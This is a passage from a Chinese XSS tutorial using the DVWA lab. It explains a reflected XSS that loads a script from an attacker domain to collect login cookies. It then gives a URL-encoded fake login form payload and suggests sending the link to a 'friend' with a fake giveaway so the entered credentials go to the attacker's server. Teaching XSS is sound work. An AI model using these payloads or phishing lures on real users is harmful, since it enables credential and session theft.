实际的作用是模拟用户在搜索框中输入后点击搜索。search.php未经处理的将其直接输入到页面,使其在html文档中有了新的语义。它会加载hacker.qq.com域下的haker.js。
好,当用户登陆了网站后,再欺骗用户点击这个链接,这时候,看hacker.qq.com域下,发现多了一个cookie.txt文件,打开来:
发现用户用于登陆的账号,密码都在内,密码是经过加密的。OK,现在我们便可以拿着这个cookie来获取用户的登陆态了。整个攻击过程结束。当然,现实过程中,很少有网站有如此明显的xss漏洞。这里只是给大家示范了一下反射型xss的原理,现实中的漏洞虽然五花八门,但是本质是不变的。大家可以进一步研究。
【另一实例】
先看下以下代码:
<form action="xxx.php" method="get">
<p>username: <input type="text" name="fname" /></p>
<p>password: <input type="text" name="lname" /></p>
<input type="submit" value="login" />
</form>
这段html看的懂吗?没错,就是一个表单。如果你将它进行注入,如何?
注入:
页面就会被你篡改掉。(上图很丑,你可以设计的漂亮一些。)
这个时候,你只需要把现在的url(只是例子,并没有对其进行url编码):
http://domainname/DVWA-master/vulnerabilities/xss_r/?name=<form+action%3D"xxx.php"+method%3D"get">+++<p>username%3A+<input+type%3D"text"+name%3D"fname"+%2F><%2Fp>+++<p>password%3A+<input+type%3D"text"+name%3D"lname"+%2F><%2Fp>+++<input+type%3D"submit"+value%3D"login"+%2F>+<%2Fform>#
发给你的“盆友”,然后告诉他,官网搞活动,登录有礼包。
你那位睿智的“朋友”就会输入用户名密码点登陆。如果你在form表单中的action填写的是你自己服务器上的某个脚本文件,他的用户名和密码就会提交到你的服务器上,你只需要编写存储功能,让服务器将每一个请求的数据保存进数据库里。过一段时间,你去数据库里取东西就完了。
存储型
最后,来看看“实验楼”里一个利用XSS自动窃取并保存他人Cookie的实验,用以说明XSS漏洞的危害性和本文检测XSS漏洞的意义。
【环境搭建】
【实验过程】